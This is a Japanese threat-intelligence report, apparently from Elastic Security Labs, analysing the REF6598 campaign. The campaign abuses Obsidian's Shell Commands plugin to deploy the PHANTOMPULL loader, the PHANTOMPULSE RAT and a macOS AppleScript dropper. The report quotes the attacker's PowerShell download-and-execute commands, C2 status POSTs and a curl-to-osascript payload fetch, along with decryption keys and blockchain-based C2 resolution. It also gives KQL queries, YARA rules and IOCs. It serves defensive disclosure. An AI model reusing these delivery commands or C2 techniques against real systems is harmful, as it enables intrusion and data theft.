続報では、PHANTOMPULSE自体のより詳細な技術分析を行い、その注入エンジン、持続性内部構造、およびC2プロトコルについてさらに詳しく解説する予定です。
前文
Elastic Security Labsは、人気の高いメモアプリ「Obsidian」を初期アクセス経路として悪用する、新たなソーシャルエンジニアリング攻撃を特定した。我々がREF6598として追跡しているこのキャンペーンは、LinkedInとTelegram上で巧妙なソーシャルエンジニアリングを用いて、金融および仮想通貨業界の個人を標的にしている。攻撃者は、Obsidianの正規のコミュニティプラグインエコシステム、特にShell CommandsプラグインとHiderプラグインを悪用し、被害者が共有クラウド保管庫を開いた際に、密かにコードを実行します。
今回観測された侵入において、Elastic Defendは攻撃を初期段階で検知・阻止し、攻撃者が被害者のマシン上で目的を達成するのを阻止しました。
この攻撃はクロスプラットフォームに対応しており、WindowsとmacOSそれぞれに専用の実行パスが用意されています。Windowsでは、中間ローダーがAES-256-CBC、タイマーキューのコールバック実行、および複数の解析対策技術を使用して、ペイロードを完全にメモリ内で復号し、リフレクションロードします。この一連のプロセスは、これまで文書化されていなかったRAT(リモートアクセス型トロイの木馬)の展開で最高潮に達します。私たちはこれをPHANTOMPULSEと名付けました。これは、高度なAIによって生成された、ブロックチェーンベースのC2解決機能とモジュールストンピングによる高度なプロセスインジェクション機能を備えたフル機能のバックドアです。macOS上では、この攻撃は難読化されたAppleScriptドロッパーを展開し、TelegramベースのフォールバックC2解決メカニズムを利用する。
この記事では、ソーシャルエンジニアリングから最終的なペイロード分析に至るまでの攻撃チェーン全体を詳細に解説し、検出に関するガイダンスと侵害の兆候を提供します。
重要なポイント
- PHANTOMPULSEは、イーサリアムのトランザクションデータによるブロックチェーンベースのC2解決と独自の注入技術を特徴とする、AI支援型の新しいWindows RATです。
- C2機構に弱点があることが分かり、それが反応者によるインプラントの乗っ取りを可能にしていることが判明しました。
- Obsidianは、初期アクセスを目的としたソーシャルエンジニアリング攻撃に悪用された。
- WindowsとmacOSの両方を標的としたクロスプラットフォーム攻撃チェーン
- macOSペイロードは、フォールバックC2解決のためにTelegramデッドドロップを備えたマルチステージAppleScriptドロッパーを使用します。
- PHANTOMPULLは、PHANTOMPULSEを提供するカスタムインメモリローダーです。
キャンペーン概要
攻撃者はベンチャーキャピタル企業を装い、LinkedInを通じて標的と接触を開始する。最初の接触の後、会話はTelegramグループに移り、複数の相手とされる人物が参加することで、やり取りの信憑性が高められる。議論の中心は金融サービス、特に仮想通貨の流動性ソリューションであり、説得力のあるビジネス環境を構築することを目的としている。
対象者は、共有ダッシュボードにアクセスするために、会社の「管理データベース」として提示されるObsidianを使用するように求められる。標的となるユーザーには、攻撃者が管理するクラウドホスト型の保管庫に接続するための認証情報が提供される。
この金庫室は、最初のアクセス経路となる。Obsidianで開かれると、対象はコミュニティプラグインの同期を有効にするよう指示されます。その後、トロイの木馬化されたプラグインは、攻撃チェーンを密かに実行する。
初期アクセス(Initial Access)
Obsidianを親プロセスとする疑わしいPowerShell実行時に、Elastic Defendの動作アラートがトリガーされました。これはすぐに私たちの注意を引いた。当初、私たちはObsidianを装った信頼できないバイナリを疑っていました。しかし、親プロセスのコード署名とハッシュを調べたところ、それは正規のObsidianバイナリであることが判明した。
プロセスイベントのコールスタックを解析し、サードパーティ製のDLLのサイドロードやバックアップされていないメモリ領域が関与しているかどうかを判断した結果、プロセスの作成はObsidian自体から直接行われたものであることが確認されました。
次に、依存関係ファイルの改変や悪意のある.asarファイルによるJavaScriptインジェクションの兆候がないか、周辺ファイルを調査しました。ファイル植栽。すべてが、サードパーティ製のコードが一切含まれていない、クリーンで正規のObsidianインストールであるように見えた。そこで私たちは、自分たちでObsidianをインストールし、攻撃者がコマンド実行を実現するために悪用できる可能性のあるオプションを調査することにしました。
まず最初に目に留まったのは、メールアドレスとパスワードを使ってObsidianと同期された保管庫にログインできる機能だった。
Obsidianの保管庫同期機能を使用すると、メモやファイルをデバイスやプラットフォーム間で同期できます。.obsidian の下にある悪意のあるリモート保管庫のファイルをレビューしている間configフォルダを調べたところ、Shell Commandsコミュニティプラグインがインストールされていた証拠が見つかりました。
C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json
Shell Commandsプラグインを使用すると、Obsidianの起動時、終了時、N秒ごとなど、設定可能なトリガーに基づいて、プラットフォーム固有のシェルコマンドを実行できます。
data.jsonの内容は我々の仮説を裏付けた。設定されたコマンドは、当初のPowerShellの動作アラートで確認されたものと完全に一致していた。
攻撃チェーン全体を検証するために、有料のObsidian Syncライセンスを使用して、ホストマシンと仮想マシンの2台のマシン間でエンドツーエンドの動作を再現することを試みました。ホスト上で、起動時にnotepad.exeを起動するようにカスタムコマンドを設定したShell Commandsコミュニティプラグインをインストールしました。VM上で、同じObsidianアカウントにログインし、リモートボルトに接続しました。
VM 上の同期されたボールトは基本構成ファイル ( app.json 、 appearance.json 、 core-plugins.json 、 workspace.json ) を受信しましたが、注目すべきことに、 plugins/ディレクトリとcommunity-plugins.jsonは完全に欠落していました。これは、Obsidianの同期設定には「アクティブなコミュニティプラグインリスト」と「インストール済みのコミュニティプラグイン」という2つの個別の切り替えスイッチがあり、どちらもデフォルトでは無効になっており、同期を通じて伝播されないローカルのクライアント側の設定であるためです。
以下に示すように、plugins と community_plugins のマニフェストは自動的に同期されません (.obsidian 内のファイル)ディレクトリ)。
しかし、一度有効化されると、シェルコマンドプラグインは、保管庫が開かれた瞬間に攻撃者が定義したコマンドの実行を即座にトリガーします。
これは、攻撃者がVault同期のみを介してコミュニティプラグインのインストールや有効化をリモートで強制することはできないことを意味します。被害者は、悪意のあるプラグイン設定がダウンロードされて実行が開始される前に、デバイス上でコミュニティプラグインの同期を手動で有効にする必要があります。
我々が調査した事例では、攻撃者はソーシャルエンジニアリングの手法の一環として、被害者にObsidianアカウントの認証情報を直接提供し、おそらくログインしてコミュニティプラグインの同期を有効にし、事前に準備された保管庫に接続するように指示したと考えられます。これらの手順が完了すると、Shell Commandsプラグインとそのdata.json設定が自動的に同期され、次に設定されたトリガーが作動すると、追加の操作なしにペイロードが実行されました。
この攻撃は、コミュニティプラグインの同期境界を越えるためにソーシャルエンジニアリングを必要としますが、その手法は注目に値します。正当なアプリケーション機能を永続化およびコマンド実行チャネルとして悪用し、ペイロードは従来のアンチウイルスシグネチャに引っかかる可能性の低いJSON設定ファイル内に完全に存在し、実行は署名済みの信頼できるElectronアプリケーションによって引き渡されるため、親プロセスベースの検出が重要なレイヤーとなります。
著者は、Shell Commandsプラグインに加えて、インターフェース要素を非表示にするUIクリーンアッププラグインであるHider (v1.6.1)を使用しました。すべての隠蔽オプションを有効にした場合、構成は次のようになります。
{
"hideStatus": true,
"hideTabs": true,
"hideScroll": true,
"hideSidebarButtons": true,
"hideTooltips": true,
"hideFileNavButtons": true,
}
Windows実行チェーン
ステージ1
Shell CommandsプラグインのWindowsコマンドには、Base64エンコードされた文字列を含む2つのInvoke-Expression呼び出しが含まれており、それらは以下のようにデコードされます。
iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"
これにより、ハードコードされたIPアドレスから第2段階のPowerShellスクリプトがダウンロードされ、実行されます。
ステージ2
ダウンロードしたPowerShellスクリプト( script1.ps1 )は、組み込みのオペレーター通知システムを備えたローダー配信メカニズムを実装しています。スクリプトはBitsTransferを使用して次の段階のバイナリをダウンロードし、その進行状況をC2に報告します。
Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
-Destination "$env:TEMP\syncobs.exe"
ダウンロード後、スクリプトはファイルの存在を確認し、その結果を195.3.222[.]251/stuk-phaseのC2に報告します。ステータス メッセージに付加された文字 ( G 、 R ) は、ステータス カラー コードとしてG REEN またはR ED を宣言しているようです。以下は、すべてのステータスメッセージを一覧にした表です。
| ステータスメッセージ | 意味 |
|---|---|
GFILE FOUND ON PC | バイナリのダウンロードに成功しました |
RDOWNLOAD ERROR | ダウンロードに失敗しました。再試行します。 |
RFATAL DOWNLOAD ERROR | 再試行後もダウンロードが失敗しました |
GLAUNCH SUCCESS | バイナリが実行され、子プロセスが検出されました |
RLAUNCH FAILED | バイナリがタイムアウト時間内に起動できませんでした |
GSESSION CLOSED | 実行シーケンスが完了しました |
各ステータス更新とともに送信されるパラメータtag ( Obsidian )は、キャンペーンまたは感染経路を識別し、オペレーターが複数のキャンペーンを同時に実行している可能性を示唆しています。
if ($started) {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }
ローダー - ファントムプル
このローダーは、64ビットのWindows PE実行ファイルであり、自身のリソースからAES-256-CBCで暗号化されたPEペイロードを抽出し、復号化して、リフレクションによってメモリにロードします。このメモリ内のペイロードは、HTTPS経由でドメイン( panel.fefea22134[.]net )から次のステージをダウンロードします。
次に、第3段階のペイロード(PHANTOMPULSE)が復号化され、 DllRegisterServerを介して反射的にロードされます。私たちがPHANTOMPULLと呼ぶこのローダーは、ランタイムAPIの解決機能とタイマーキューベースの実行機能を備えています。このサンプルには、軽微な回避/難読化手法とデッドコードが含まれています。これらの手法は、マルウェアの調査にアナリストの時間を浪費させるための、分析対策として使用されます。
実行フロー
ステージ1
ステージ2
偽の誠実性チェック
ローダーは、 GetTickCount() 16 進数値 ( 0xFFFFFFFE ) と比較するデッドコードガードを使用して奇妙な開始を行います。この値は、約 49.7 日の連続システム稼働時間に対応しており、この条件は事実上達成不可能です。保護されたブロックには、リバースエンジニアリング中にアナリストの時間を浪費するように設計された、説得力はあるもののアクセス不可能な改ざん防止機能が含まれている。
anti_tamper_integrity_checksum()関数もかなり奇妙です。実際には基となるバイトをハッシュ化するのではなく、バイナリ内のすべての関数アドレスを合計します。チェックサムは何も比較されません。これはおそらく、アナリストの時間を浪費させ、バイナリを肥大化させるための意図的な解析対策技術です。
API ハッシュ化
このローダーは、シード0x4E67C6A7を使用したdjb2ハッシュアルゴリズムを使用して、実行時にAPI関数を動的に解決します。以下のAPIが解決されました。
VirtualAllocVirtualProtectVirtualFreeLoadLibraryAGetProcessAddress
リソース抽出+復号化
PHANTOMPULLは、暗号化されたインメモリペイロードを自身のリソース内に格納します。
バイトを抽出するために、ID ( 101 ) の下にあるリソースタイプ ( RT_RCDATA ) をFindResourceA,を使用して特定します。リソースはメモリにマッピングされ、 PAGE_READWRITEパーミッションが付与された領域にコピーされます。
次に、ローダーはBCryptOpenAlgorithmProviderを使用してAES-256-CBC復号化を実行します。キーは.rdataセクションにハードコードされています
鍵: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206
IVもスタック上にハードコードされている。 A6FA4ADFC20E8E6B77E2DD631DC8FF18
復号後、ローダーは、ハードコードされた値( 0x0C1DF )と( 0x9B92 )をXOR演算してPEマジックヘッダー(0x5a4d)と等しくなる比較命令を使用してMZヘッダーマジック値をチェックすることにより、出力が有効なPEであることを検証します。これは、しばしば不自然で場違いに見える、軽量な難読化手法の一例です。
実行
ペイロードを直接呼び出す(サンドボックスによって容易に検出される)のではなく、ローダーはタイマーキューのコールバックを使用します。50ミリ秒の遅延と別スレッド実行により、様々なセキュリティツールやサンドボックスツールを回避できる。
コールバック関数の中には、反射型のPEロード機能が含まれており、それを用いて次の段階が実行されます。
この反射型ロード機能は、実行の中核となるコンポーネントです。これは、PEヘッダーをコピーし、各セクションをメモリにマッピングし、ベース再配置を適用し、インポートを解決し、最終セクションの保護を設定することで、ディスクに触れることのない、完全に機能するメモリ常駐型のPEを生成します。
その後、間接命令call rbpを介して実行が第2段階に転送され、RBPにはリフレクティブにロードされたPEの計算されたエントリポイントアドレスが格納されます。
第2段階
第2段階では、遠隔地でホストされているペイロード(PHANTOMPULSE)をダウンロードし、同様の反射式装填技術を用いてインプラントを発射する役割を担う。この段階では、ハードコードされた2つのグローバル変数とのXOR演算によってミューテックスを作成することから始まります。
このサンプルのミューテックス名は次のとおりです。 hVNBUORXNiFLhYYh
ミューテックスが作成されると、このコードはC2サーバーからペイロードをダウンロードしようとする永続的なループに入ります。ダウンロードが正常に有効なバッファを返した場合、処理は中断され、反射型読み込み段階に進みます。
失敗した場合、コードは指数バックオフを使用します。これは、5秒間のスリープから始まり、再試行ごとに1.5倍ずつ増加し、 5 分弱で上限に達します。これにより、ネットワークトラフィックに容易に識別されてしまう固定ビーコン間隔を回避できます。
ダウンローダー機能は、C2サーバーとURLの復号化から始まります。
C2とURLはどちらも、16バイトの回転キー( f77c8e40dfc17be5e74d8679d5b35341 )を使用した単純な文字列復号関数を使用して復号されます。
次に、マルウェアはHTTPSリクエストを構築し、URI /v1/updates/check?build=payloadsを使用して文字列を追加し、ユーザーエージェント( Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 )を設定します。このローダーはWinHTTPライブラリを使用して、ポート443でC2に接続します。
マルウェアはリモートC2 URLからバッファを取得し、16バイトのXORキー( dcf5a9b27cbeedb769ccc8635d204af9 )を使用してペイロードを復号します。
以下は、XORエンコードされたペイロードの最初のバイト列です。
以下は、XOR演算後の最初のバイト列です。
ダウンロードとXOR演算の後、PHANTOMPULLはペイロードを解析し、 DLLRegisterServerを使用してDLLを反映する。
文字列を素早く確認することで、メインのバックドアであるPHANTOMPULSEが見つかります。
RAT - ファントムパルス
PHANTOMPULSEは、ステルス性、堅牢性、および包括的なリモートアクセスを実現するために設計された、高度な64ビットWindows RATです。このバイナリは、AI 支援開発の強い兆候を示しています。コード全体にわたるデバッグ文字列は異常に冗長で、自己文書化されており、構造化されたステップ番号パターン ( [STEP 1] 、 [STEP 1/3] 、 [STEP 2/3] ) に従っています。
調査の結果、C2インフラストラクチャには“Phantom Panel"というブランド名の公開パネルがあり、ユーザー名、パスワード、キャプチャの入力欄があるログインページが備わっていることが判明しました。パネルのデザインと構造は、それがAIによって生成されたことを示唆しており、RAT自体で観察された開発パターンと一致している。
ブロックチェーンを通じたC2ローテーション
PHANTOMPULSEは、パブリックブロックチェーンインフラストラクチャをデッドドロップとして使用することで、分散型C2解決メカニズムを実装します。このマルウェアがC2サーバーのURLを取得する主な方法は、オンチェーンのトランザクションデータからURLを解決することです。ハードコードされたC2 URLは、ブロックチェーンの解決が繰り返し試行しても失敗した場合の代替手段として機能します。
このマルウェアは、3つのBlockscoutインスタンスに対してEtherscan互換API( /api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc )に問い合わせを行います。
eth.blockscout[.]com(イーサリアムL1)base.blockscout[.]com(ベースL2)optimism.blockscout[.]com(楽観主義 L2)
各リクエストは、ハードコードされたウォレットアドレス( 0xc117688c530b660e15085bF3A2B664117d8672aA )に関連付けられた最新のトランザクションを取得します。このウォレットアドレス自体はバイナリ内でXOR暗号化されています。マルウェアは、JSONレスポンスからトランザクションのinputデータフィールドを解析し、 0xプレフィックスを削除し、生バイトを16進数でデコードし、ウォレットアドレスをXORキーとして使用して結果をXOR復号します。復号化された出力がhttpで始まる場合、それは新しいアクティブな C2 URL として受け入れられます。
この技術により、オペレーターはインフラストラクチャに依存しないローテーション機能を利用できるようになります。新しいC2エンドポイントを公開するには、監視対象の3つのチェーンのいずれかのウォレットに、細工されたコールデータを含むトランザクションを送信するだけで済みます。ブロックチェーンのトランザクションは不変で公開されているため、マルウェアは中央集権的なインフラストラクチャに依存することなく、常に自身のC2(コマンド&コントロール)を特定できる。3つの独立したチェーンを使用することで冗長性が確保されます。たとえ1つのチェーンのエクスプローラーがブロックされたり利用できなくなったりしても、残りの2つのチェーンが代替の解決経路を提供します。
しかし、この設計には重大な弱点がある。Blockscout APIは、ウォレットアドレスに関連するすべてのトランザクション(送信済みと受信済みの両方)を、逆時系列順にソートして返します。このマルウェアは、取引の送信者を検証しません。これは、ウォレットアドレスとXORキー(どちらもバイナリから復元可能)を知っている第三者であれば、競合する入力ペイロードを含むトランザクションをウォレットに作成できることを意味します。マルウェアは常に最新のトランザクションを選択するため、より新しいタイムスタンプを持つ単一の受信トランザクションによって、オペレーターが意図したC2 URLが上書きされてしまう。実際には、これにより誰でも同じXORスキームでエンコードされたシンクホールURLを送信することでC2解決を乗っ取ることができ、感染したすべてのホストを攻撃者のインフラストラクチャから効果的に遠ざけることができる。
C2通信
PHANTOMPULSEはC2通信にWinHTTPを使用し、 winhttp.dll動的にロードして、実行時に必要なすべての関数を解決します。C2インフラストラクチャは、5つのAPIエンドポイントを中心に構築されています。
| エンドポイント | Method | 目的 |
|---|---|---|
/v1/telemetry/report | 役職 | システムテレメトリによるハートビート |
/v1/telemetry/tasks/<id> | Get | コマンドフェッチ |
/v1/telemetry/upload/ | 役職 | スクリーンショット/ファイルアップロード |
/v1/telemetry/result | 役職 | 指揮官の成果達成 |
/v1/telemetry/keylog/ | 役職 | キーログデータのアップロード |
ハートビートは、CPUモデル、GPU、RAM、OSバージョン、ユーザー名、権限レベル、パブリックIP、インストールされているウイルス対策製品、インストールされているアプリケーション、および最後のコマンド実行結果を含む、包括的なシステムテレメトリをJSON形式で送信します。
Command table
コマンドディスパッチャは、C2 からの JSON レスポンスを解析し、 djb2アルゴリズムを使用してコマンドを抽出およびハッシュ化します。このハッシュは、以下の擬似コードに示すように、switch-case文によって処理され、対応するロジックが実行されます。
| ハッシュ | COMMAND | アクション |
|---|---|---|
0x04CF1142 | inject | シェルコード/DLL/EXEをターゲットプロセスに注入する |
0x7C95D91A | drop | ファイルをディスクにドロップして実行します |
0x9A37F083 | screenshot | スクリーンショットを撮影してアップロードする |
0x08DEDEF0 | keylog | キーロガーの開始/停止 |
0x4EE251FF | uninstall | 完全な残留物除去とクリーンアップ |
0x65CCC50B | elevate | COM昇格モニクを使用してSYSTEMにエスカレーションします |
0xB3B5B880 | downgrade | システム -> 管理者権限の昇格 |
0x20CE3BC8 | <unresolved> | APIを解決し、ExitProcess(0)を呼び出して自己終了する。 |
macOS実行チェーン
ステージ1:osascriptによるAppleScript
Shell コマンド プラグインの macOS コマンドは、Base64 エンコードされたペイロードをosascriptを介して実行します。
復号されたペイロードは、主に2つの動作を実行します。
LaunchAgent の永続性: ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plistに、 KeepAliveとRunAtLoad trueに設定された永続的な LaunchAgent plist を作成します。これにより、第 2 段階のペイロードがログインのたびに実行され、終了した場合は再起動されます。
第2段階の実行: LaunchAgent は、 /bin/bash -cを介してosascriptにパイプされた、高度に難読化された AppleScript ドロッパーを実行します。
ステージ2:難読化されたAppleScriptドロッパー
第2段階のペイロードは、複数の回避技術を用いた難読化されたAppleScriptドロッパーである。
文字列の難読化:すべての機密文字列(ドメイン、URL、ユーザーエージェント値)は、 ASCII character 、 character id 、およびstring id呼び出しを使用して実行時に構築され、静的な文字列抽出を防止します。
property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"
ダミー変数:エントロピーを増加させ、分析を妨害するために、ランダムな名前と値を持つ多数の未使用変数が定義されます。
断片化連結:文字列は様々なエンコード方式で分割され、リテラル断片と文字IDルックアップを組み合わせることでパターンマッチングを回避します。
Telegramフォールバックを使用したC2解決
ドロッパーは階層型C2解決戦略を実装しています。
- プライマリ: ハードコードされたドメインリスト (
0x666[.]infoを含む) を反復処理し、本文"check"を含む POST リクエストを送信して C2 の可用性を検証します。 - フォールバック:プライマリドメインにアクセスできない場合は、公開されているTelegramチャンネル(
t[.]me/ax03bot)をスクレイピングしてバックアップドメイン
を抽出します。
このTelegramのデッドドロップ技術により、通信事業者はC2インフラストラクチャをローテーションさせることが可能になり、ドメインベースのブロックだけでは十分な対策とはならない。
ペイロード回収
C2が解決されると、スクリプトは第2段階のペイロードをダウンロードして直接osascriptにパイプします。
curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
-H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript
被害者識別子( txid )とモジュールセレクタ( bmodule )はPOSTパラメータとして送信されます。応答としては、別のAppleScriptペイロードが即座に実行されることが想定されます。分析時点で、macOSチェーンのC2サーバーはオフライン状態であったため、後続ステージのデータ収集ができなかった。
インフラストラクチャ分析
ウォレットアクティビティ
ハードコードされたウォレット( 0xc117688c530b660e15085bF3A2B664117d8672aA )のオンチェーンアクティビティを調べると、オペレーターのC2ローテーション履歴が明らかになります。直近の2件の取引は自己送金(ウォレットからウォレット自身への送金)であり、それぞれ取引入力データに異なるC2 URLがエンコードされている。
| 日付(UTC) | デコードされたC2 URL |
|---|---|
Feb 19, 2026 12:29:47 | https://panel.fefea22134[.]net |
Feb 12, 2026 22:01:59 | https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com |
Cloudflare Tunnel ドメイン ( trycloudflare[.]com ) を以前の C2 エンドポイントとして使用することは注目に値します。これは、オペレーターがドメインを登録することなく Cloudflare のインフラストラクチャを通じてローカルサーバーを公開できるため、匿名性をさらに高めることができるからです。
ウォレットは、2月12 、 2026 、 21 : 39 :47 UTCに、別のアカウント( 0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E )から$5.84の送金と空の入力フィールド( 0x )によって最初に資金が投入されました。これは、純粋な資金投入トランザクションであったことが確認されています。資金調達ウォレット自体は過去3か月間に約 50 取引を行っており、これは同じ脅威アクターによって運営されている追加のキャンペーンを発見するための潜在的な転換点となる。
ペイロードステージングサーバー
195.3.222[.]251にある初期ペイロード配信サーバーは、ポーランドのホスティングプロバイダーであるAS 201814 (MEVSPACE sp. z oo)上でホストされています。
PhantomPulse C2パネル
ドメインfefea22134[.]netはCloudflareのIPアドレス( 104.21.79[.]142と172.67.146[.]15 )に解決され、C2パネルがCloudflareのプロキシの背後にあることを示しています。過去のパッシブDNSによると、このドメインは2026年3月12日に初めて解決され、それ以前の解決では2026年3月20日に異なるIPアドレス( 188.114.97[.]1と188.114.96[.]1 )を指していました。
このドメインは、2026年3月12日に初めて確認されたLet's Encrypt証明書を使用しています。
- シリアル番号:
5130b76e63cd41f11e6b7c2a77f203f72b4 - 指紋:
6c0a1da746438d68f6c4ffbf9a10e873f3cf0499 - 有効性:
2026-02-19 to 2026-05-20
証明書の発行日(2月19日)は、最新のブロックチェーンC2ローテーショントランザクションエンコーディングpanel.fefea22134[.]netと一致しており、インフラストラクチャがC2 URLがオンチェーンで公開されたのと同じ日にプロビジョニングされたことを示唆しています。
まとめ
REF6598は、脅威アクターが信頼できるアプリケーションを悪用し、標的型ソーシャルエンジニアリングを用いることで、いかにして独創的な初期アクセス経路を見つけ続けているかを示しています。攻撃者は、ソフトウェアの脆弱性を悪用するのではなく、Obsidianのコミュニティプラグインエコシステムを悪用することで、従来のセキュリティ対策を完全に回避し、アプリケーション本来の機能を利用して任意のコードを実行する。
観測された侵入において、 Elastic DefendはPHANTOMPULSEが実行される前に攻撃チェーンを早期に検知して阻止し、攻撃者が目的を達成するのを阻止しました。Obsidianから発生した異常なプロセス実行を検知し、動作保護機能が作動したことで、ペイロードの配信が即座に停止した。
金融および仮想通貨分野の組織は、正当な生産性向上ツールが攻撃経路に転用される可能性があることを認識しておくべきである。防御側は、Obsidianなどのアプリケーションからの異常な子プロセス生成を監視し、可能な場合はアプリケーションレベルのプラグインポリシーを適用すべきである。本研究で提示された指標と検出ロジックは、この活動を特定し、対応するために利用できる。
Elastic Security Labsは、REF6598の今後の動向を引き続き監視し、関連するC2インフラストラクチャが稼働開始次第、macOSペイロードの追加情報なども収集する予定です。
MITRE ATT&CK
Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。
戦術(Tactics)
戦術は、テクニックまたはサブテクニックの理由を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。
手法
手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。
- フィッシング: サービスを介したスピアフィッシング
- User Execution: Malicious File
- コマンドとスクリプト インタープリター: PowerShell
- コマンドおよびスクリプトインタープリタ:AppleScript
- Deobfuscate/Decode Files or Information
- リフレクティブコードのロード
- 仮想化/サンドボックス回避:時間ベースの回避
- プロセスインジェクション
- スケジュールされたタスク/ジョブ: スケジュールされたタスク
- ブートまたはログオン時の自動起動実行:Plistの変更
- 入力キャプチャ: キーロギング
- スクリーンキャプチャ
- システム情報の検出
- 不正アクセス防止メカニズム:UACをバイパスする
REF6598を検出中
検知
この侵入セットの分析では、次の検出ルールと動作防止イベントが観察されました。
予防
Elastic でのハンティングクエリ
これらのハンティングクエリは、Obsidianコミュニティシェルコマンドプラグインの存在と、それによって実行されるコマンドを特定するために使用されます。
KQL
event.category : file and process.name : (Obsidian or Obsidian.exe) and
file.path : *obsidian-shellcommands*
event.category : process and event.type : start and
process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and
process.parent.name : (Obsidian.exe or Obsidian)
ヤラ
Elastic Securityは、このアクティビティを識別するためのYARAルールを作成しました。以下は、ファントムプルとファントムパルスを識別するためのYARAルールです。
rule Windows_Trojan_PhantomPull {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPull"
threat_name = "Windows.Trojan.PhantomPull"
reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"
strings:
$GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
$djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
$mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
$str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
$payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
$url = "/v1/updates/check?build=payloads" ascii fullword
condition:
3 of them
}
rule Windows_Trojan_PhantomPulse {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPulse"
threat_name = "Windows.Trojan.PhantomPulse"
reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"
strings:
$a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
$b = "PhantomInject: host PID=%lu" fullword
$c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
$d = "inject: shellcode detected, using phantom section hijack" fullword
condition:
all of them
}
観測
この研究では、次の観測量について議論しました。
| すぐれた監視性 | タイプ | 名前 | 参考 |
|---|---|---|---|
70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256の | syncobs.exe | ファントムプルローダー |
33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256の | PhantomPulse RAT(最終ペイロード) | |
195.3.222[.]251 | IPv4-アドレス | ステージングサーバー(PowerShellスクリプトとローダーの配信) | |
panel.fefea22134[.]net | ドメイン名 | PhantomPulse C2パネル | |
0x666[.]info | ドメイン名 | macOSドロッパーC2ドメイン | |
t[.]me/ax03bot | URL | macOSドロッパー Telegramフォールバック C2 | |
0xc117688c530b660e15085bF3A2B664117d8672aA | 暗号通貨ウォレット | ブロックチェーンC2解像度用のイーサリアムウォレット | |
0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | 暗号通貨ウォレット | C2解像度ウォレット用の資金調達ウォレット | |
thoroughly-publisher-troy-clara[.]trycloudflare[.]com | ドメイン名 | 以前のPhantomPulse C2(Cloudflare Tunnel) |